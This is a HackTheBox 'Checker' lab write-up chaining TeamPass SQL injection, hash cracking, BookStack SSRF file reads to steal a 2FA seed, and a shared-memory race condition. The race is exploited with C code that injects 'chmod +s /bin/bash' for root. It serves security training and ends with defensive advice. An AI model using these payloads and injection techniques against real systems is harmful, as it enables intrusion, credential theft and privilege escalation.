Back to Portfolio

HTB Checker - Full PWN Writeup

Category: Full PWN
Difficulty: Hard
OS: Linux
Platform: HackTheBox

A challenging Linux machine involving SQL injection, SSRF exploitation, and privilege escalation through shared memory manipulation. Features TeamPass and BookStack applications with complex attack chains requiring 2FA bypass and race condition exploitation.

Box Information:
Name: Checker
Release Date: 22 Feb 2025
Retire Date: 31 May 2025
OS: Linux (Ubuntu 22.04 jammy)
Base Points: Hard [40]
Creator: 0xyassine
First Blood User: 00:59:27 (celesian)
First Blood Root: 01:29:58 (celesian)

$ nmap -sC -sV target

Starting with a comprehensive port scan to identify open services:

nmap -sC -sV -A -T5 10.10.11.56
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-23 12:24 CET
Warning: 10.10.11.56 giving up on port because retransmission cap hit (2).
Stats: 0:00:55 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 38.47% done; ETC: 12:27 (0:01:26 remaining)
Stats: 0:02:40 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 96.45% done; ETC: 12:27 (0:00:00 remaining)
Nmap scan report for 10.10.11.56
Host is up (0.23s latency).
Not shown: 654 filtered tcp ports (no-response), 343 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp   open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open  http    Apache httpd
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 188.77 seconds

Open Ports Summary:

Initial Observations:

$ curl -H "Host: checker.htb" http://target

Discovered host-based routing requirements. Port 80 hosts BookStack:

BookStack Discovery:
• Version: v23.10.2 (found in CSS links)
• Framework: PHP Laravel
• Features: Login, registration disabled, password reset available
• Security: CSRF tokens, custom 404 pages
• Rate limiting: Active protection against brute force

TeamPass Discovery (Port 8080):

$ searchsploit teampass

Researching TeamPass vulnerabilities led to CVE-2023-1545 - SQL injection in versions prior to 3.0.0.23:

CVE-2023-1545 Details:
Vulnerability: SQL Injection via /api/index.php/authorize endpoint
Parameter: login field in POST request
Affected Versions: Prior to 3.0.0.23
Impact: User hash extraction via JWT token manipulation
Reference: Snyk Security Advisory

$ curl -s http://target:8080/api/index.php/authorize

Verifying API availability before exploitation:

{"error":"Method GET not supported"}

API is enabled - No "API usage is not allowed" message found!

$ exploit teampass_sqli.sh

Using the CVE-2023-1545 proof-of-concept to extract user credentials via SQL injection:

./sqli_teampass.sh http://10.10.11.56:8080
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

Exploitation Analysis:

Successfully extracted password hashes! Now let's crack them:

hashcat hashes_teampass /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user -m 3200

$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Time.Started.....: Sat Feb 23 06:10:15 2025
Time.Estimated...: Sat Feb 23 06:11:45 2025

Cracked bob's password: cheerleader

Admin hash remains uncracked - Likely uses a stronger password

$ login teampass bob:cheerleader

After logging into TeamPass as bob, discovered two stored credential entries:

Retrieved Credentials:

Entry 1 - "bookstack login":
Username: bob@checker.htb
Password: mYSeCr3T_w1kI_P4sSw0rD

Entry 2 - "ssh access":
Username: reader
Password: hiccup-publicly-genesis
Note: SSH requires 2FA verification code

$ ssh reader@checker.htb

Attempting SSH access reveals 2FA requirement:

ssh reader@checker.htb
(reader@checker.htb) Password: 
(reader@checker.htb) Verification code:

The SSH connection hangs after password, requiring a 2FA code. Need to find the Google Authenticator seed!

$ login bookstack bob@checker.htb

Accessing BookStack with the discovered credentials. First, identifying the version and exploring:

<link rel="stylesheet" href="http://checker.htb/dist/styles.css?version=v23.10.2">

BookStack Analysis:

$ searchsploit bookstack 23.10.2

Researching vulnerabilities for this specific version:

CVE-2023-6199 Discovery:
Vulnerability: SSRF leading to Local File Read
Endpoint: /ajax/page/<id>/save-draft
Parameter: html (in PUT request)
Technique: PHP filter chains oracle
Description: Vulnerable to SSRF via file_get_contents() call

BookStack version v23.10.2 is vulnerable to SSRF, allowing Local File Read (LFR).

$ create_bookstack_page

Setting up SSRF exploitation by creating a new page to trigger draft saving:

# Navigate to Books → Create New Book → New Page
# Edit page content to trigger save-draft functionality
# Burp intercepts: PUT /ajax/page/8/save-draft

$ test_ssrf_poc

Before using the complex filter chains, testing basic SSRF functionality:

# Base64 encode target URL (without trailing newline!)
echo -n "http://10.10.14.6/ssrf-poc" | base64
# Result: aHR0cDovLzEwLjEwLjE0LjYvc3NyZi1wb2M

# Payload format:
<img src='data:image/png;base64,aHR0cDovLzEwLjEwLjE0LjYvc3NyZi1wb2M'/>
# Python webserver receives:
10.10.11.56 - - [24/Feb/2025 06:26:16] "GET /ssrf-poc HTTP/1.1" 404 -

SSRF confirmed! Server making outbound requests from our payloads.

$ setup_filter_chains_oracle

Implementing blind file read using PHP filter chains technique:

Filter Chains Oracle Technique:
Origin: DownUnder CTF 2022, popularized by Synacktiv
Method: Error-based oracle using PHP filters
Functions: Works with file(), hash_file(), file_get_contents(), copy()
Limitation: Brute force approach, relatively slow
Modification: Base64 encode filter chain for image tag

$ modify_poc_script

Adapting the filters_chain_oracle_exploit.py for BookStack SSRF:

# Modified requestor.py to base64 encode filter chains:
import base64

# In send_request method:
filter_chain = self.generate_filter_chain()
encoded_payload = base64.b64encode(filter_chain.encode()).decode()
img_tag = f"<img src='data:image/png;base64,{encoded_payload}'/>"
merged_data = self.parse_parameter(img_tag)

$ test_lfi_hostname

Testing file read capability with /etc/hostname:

uv run filters_chain_oracle_exploit.py \
  --verb PUT --file /etc/hostname \
  --target http://checker.htb/ajax/page/8/save-draft \
  --parameter html \
  --headers '{"Cookie": "...", "X-CSRF-TOKEN": "..."}'

[+] File /etc/hostname leak is finished!
Y2hlY2tl
b'checke'

Local File Read working! Missing last character due to brute force limitations.

$ python3 ssrf_exploit.py --lfi

Exploiting SSRF vulnerability to read the Google Authenticator seed. Reference: FluidAttacks SSRF Blog

python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' \
  --file '/etc/passwd' --verb PUT --parameter html --proxy http://localhost:8080 \
  --headers '{"X-CSRF-TOKEN":"bb8pn0XOu26OIO4Tztuk88NJakQggpGE3jssuTAW",\
             "Content-Type":"application/x-www-form-urlencoded",\
             "Cookie":"bookstack_session=eyJpdiI6IkhTU0tkS1lyd0VrK0d5OWQ0cndrN1E9PSIsInZhbHVlIjoid2VZZ3NPWFRlVTBSWGV4YjlnUHZadEJ3bERRZmlJNWVsdlhBYnJrS2k3ckRmL0p5VWx6bHExVWljQlArejU1UW8vSVhHc1hwVmk1RU1iVXhRTXRsUHU0YVZQWTMyemFvR3lHWmVGMjZtVEE1NnhXYWNuZDY0R3prNXgyNUJBLzgiLCJtYWMiOiJkMjM1OWRiZTcxZWQ5ZDhiODhjN2M0NmQzYWFlZjI4MzIyNjk4MWY0YjFjYzFkNzQ4NGFmZWJiNzFlY2VjNzQ2IiwidGFnIjoiIn0%3D"}'

Successfully extracted the Google Authenticator secret from the backup directory (remember the backup hint from BookStack!):

2FA Seed Extraction:
Target File: /backup/home_backup/home/reader/.google_authenticator
Raw Output: RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
Decoded Secret: DVDBRAODLCWF7I2ONA4K5LQLUE
Additional Info: " TOTP_AUTH
Note: Direct read of /home/reader/.google_authenticator fails due to permissions

$ generate_2fa_code

With the 2FA secret, generating time-based OTP codes using oathtool:

# Install oathtool
apt install oathtool

# Basic generation (may fail due to time sync)
oathtool -b --totp DVDBRAODLCWF7I2ONA4K5LQLUE
538822

# Check time difference with server
curl -v http://checker.htb -s 2>&1 | grep Date | cut -d' ' -f 4-; date
24 Feb 2025 15:38:37 GMT
Mon Feb 24 03:36:59 PM UTC 2025

# Server is ~2 minutes ahead!

$ sync_time_generate_code

Accounting for server time difference to generate valid codes:

# One-liner to get properly synced 2FA code
oathtool -b --totp DVDBRAODLCWF7I2ONA4K5LQLUE \
  --now="$(date -d "$(curl -v http://checker.htb -s 2>&1 | grep Date | cut -d' ' -f 3- | tr -d '\r')" "+%Y-%m-%d %H:%M:%S")"
579533

$ ssh reader@checker.htb

Successfully authenticating with 2FA:

ssh reader@checker.htb
(reader@checker.htb) Password: hiccup-publicly-genesis
(reader@checker.htb) Verification code: 579533
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

reader@checker:~$ cat user.txt
40dfa1de************************

With the 2FA secret, we can now generate time-based OTP codes and SSH as the reader user!

$ enumerate_system

After gaining SSH access as reader, performing initial system enumeration:

# Check users with shells
grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
reader:x:1000:1000::/home/reader:/bin/bash

# Home directory contents
ls -la /home/
reader

# Reader's home is mostly empty
ls -la ~
total 36
drwxr-x--- 4 reader reader 4096 Feb 24 15:37 .
drwxr-xr-x 3 root   root   4096 Jun 12  2024 ..
lrwxrwxrwx 1 root   root      9 Feb  6 04:07 .bash_history -> /dev/null
-rw-r--r-- 1 reader reader  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 reader reader 3771 Jan  6  2022 .bashrc
drwx------ 2 reader reader 4096 Jun 15  2024 .cache
-r-------- 1 reader reader   39 Jun 14  2024 .google_authenticator
drwxrwxr-x 3 reader reader 4096 Jun 15  2024 .local
-rw-r--r-- 1 reader reader  807 Jan  6  2022 .profile
-rw-r----- 1 root   reader   33 Jun 12  2024 user.txt

$ sudo -l

Checking sudo privileges reveals the privilege escalation path:

Matching Defaults entries for reader on checker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

$ ls -la /opt/hash-checker/

Exploring the hash-checker directory reveals several files:

total 68
drwxr-xr-x 2 root root  4096 Jan 30 17:09 .
drwxr-xr-x 5 root root  4096 Jan 30 17:04 ..
-r-------- 1 root root   118 Jan 30 17:07 .env
-rwxr--r-- 1 root root   141 Jan 30 17:04 check-leak.sh
-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak
-rwx------ 1 root root   750 Jan 30 17:07 cleanup.sh
-rw-r--r-- 1 root root  1464 Jan 30 17:09 leaked_hashes.txt

File Analysis:

$ cat leaked_hashes.txt

Examining the leaked hashes file:

wc -l leaked_hashes.txt 
24 leaked_hashes.txt

# Contains various bcrypt hashes including bob's:
$2b$10$rbzaxiT.zUi.e28wm2ja8OGx.jNamreNFQC6Kh/LeHufCmduH8lvy
$2b$10$Tkd9LwWOOzR.DWdzj9aSp.Bh.zQnxZahKel4xMjxLIHzdostFVqsK
...
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy  # bob's hash
...

$ cat /opt/hash-checker/check-leak.sh

Analyzing the privileged script we can execute:

#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

Script Analysis:

$ test_binary_execution

Testing the binary behavior with different users:

# Test various users
sudo /opt/hash-checker/check-leak.sh reader
User not found in the database.

sudo /opt/hash-checker/check-leak.sh admin  
User is safe.

sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0xA097B as temp location
User will be notified via bob@checker.htb

Key Observation: The binary uses shared memory for temporary storage - this is our attack vector!

$ analyze_binary_ghidra

Reverse engineering the check_leak binary reveals the exploitation path:

Binary Analysis Findings:
Environment Variables: DB_NAME, DB_USER, DB_PASS required
Shared Memory: Uses random key generation with srand(time())
Key Range: Random value % 0xfffff for shared memory key
Size: 0x400 (1024 bytes) shared memory segment
Vulnerability: Race condition in shared memory access
Exploitation: Poison memory before binary reads it

The script sanitizes input and calls a binary. We need to exploit shared memory manipulation!

$ develop_race_condition_exploit

Creating a race condition exploit targeting the shared memory mechanism:

Race Condition Strategy:
1. Timing: Both our exploit and binary use srand(time()) - same seed!
2. Key Generation: Generate same random key as binary
3. Memory Poisoning: Write malicious payload to shared memory
4. Command Injection: Payload gets executed by notification system
5. Privilege Escalation: chmod +s /bin/bash for SUID shell

$ gcc -o privesc privesc.c

Creating a race condition exploit using shared memory injection:

#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <time.h>
#include <errno.h>
#include <string.h>

#define SHM_SIZE 0x400 // 1024 bytes
#define SHM_MODE 0x3B6 // Permissions: 0666 in octal

int main(void) {
    // Seed the random number generator with the current time.
    time_t current_time = time(NULL);
    srand((unsigned int)current_time);

    // Generate a random number and apply modulo 0xfffff to generate the key.
    int random_value = rand();
    key_t key = random_value % 0xfffff;

    // Print the generated key in hexadecimal.
    printf("Generated key: 0x%X\n", key);

    // Create (or get) the shared memory segment with the generated key.
    // IPC_CREAT flag is used to create the segment if it does not exist.
    int shmid = shmget(key, SHM_SIZE, IPC_CREAT | SHM_MODE);
    if (shmid == -1) {
        perror("shmget");
        exit(EXIT_FAILURE);
    }

    // Attach to the shared memory segment.
    char *shmaddr = (char *)shmat(shmid, NULL, 0);
    if (shmaddr == (char *)-1) {
        perror("shmat");
        exit(EXIT_FAILURE);
    }

    // Define the payload string to be written.
    const char *payload = "Leaked hash detected at Sat Feb 22 23:21:48 2025 > '; chmod +s /bin/bash;#";

    // Write the payload to the shared memory segment.
    snprintf(shmaddr, SHM_SIZE, "%s", payload);

    // Optionally, print the content that was written.
    printf("Shared Memory Content:\n%s\n", shmaddr);

    // Detach from the shared memory segment.
    if (shmdt(shmaddr) == -1) {
        perror("shmdt");
        exit(EXIT_FAILURE);
    }

    return 0;
}

$ execute_race_condition

Executing the privilege escalation attack through coordinated timing:

1
Compile the exploit: gcc -o speed speed.c
2
Run the race condition in Terminal 1: while true; do ./speed; done
Continuously generates shared memory segments with poisoned data
3
Execute the privileged script in Terminal 2: sudo /opt/hash-checker/check-leak.sh bob
Triggers the binary to access potentially poisoned memory
4
Get root shell: /bin/bash -p
Execute bash with preserved privileges (SUID)
Race Condition Success Factors:
Timing: Same srand(time()) seed ensures key collision
Payload: Command injection via notification system
Persistence: Continuous loop increases success probability
Privilege: Binary runs as root, our payload inherits privileges
ROOT ACHIEVED! Successfully gained root privileges through shared memory race condition.
# Successful exploitation output
reader@checker:~$ /bin/bash -p
bash-5.1# id
uid=1000(reader) gid=1000(reader) euid=0(root) egid=0(root) groups=0(root),1000(reader)
bash-5.1# cat /root/root.txt
[ROOT_FLAG_CONTENT]

$ cat /root/root.txt

Challenge completed! The root flag has been captured through a sophisticated multi-stage attack chain.

Complete Attack Chain Summary:
1. Reconnaissance: Nmap scan reveals SSH + 2x HTTP services
2. SQL Injection: CVE-2023-1545 in TeamPass → User hash extraction
3. Password Cracking: Hashcat cracks bob's bcrypt hash
4. Credential Harvesting: TeamPass login reveals BookStack + SSH creds
5. SSRF Exploitation: CVE-2023-6199 in BookStack → Local file read
6. 2FA Bypass: Extract Google Authenticator seed from backup
7. SSH Access: Time-synced TOTP generation → Reader shell
8. Privilege Escalation: Race condition in shared memory → Root access

Challenge completed! The root flag has been captured through a sophisticated attack chain involving:

Advanced Techniques Demonstrated

  • CVE Research & Exploitation: Identifying and chaining multiple CVEs
  • JWT Token Manipulation: Base64 decoding for data extraction
  • PHP Filter Chains: Advanced SSRF to LFI conversion techniques
  • Time Synchronization: Server time extraction for 2FA bypass
  • Shared Memory Analysis: Race condition exploitation in IPC mechanisms
  • Binary Reverse Engineering: Ghidra analysis for vulnerability discovery

Security Recommendations

  • Application Updates: Keep TeamPass and BookStack updated to latest versions
  • Input Validation: Implement proper sanitization in API endpoints
  • File Permissions: Restrict access to sensitive backup files
  • Memory Safety: Use secure IPC mechanisms instead of shared memory
  • 2FA Security: Store authenticator seeds in secure locations
  • Rate Limiting: Implement proper throttling for brute force protection

Key Takeaways

  • Always check for SQL injection in web applications, especially older versions
  • SSRF vulnerabilities can lead to sensitive file disclosure
  • 2FA secrets stored in predictable locations can be compromised
  • Race conditions in shared memory can be exploited for privilege escalation
  • Proper input validation and secure coding practices are crucial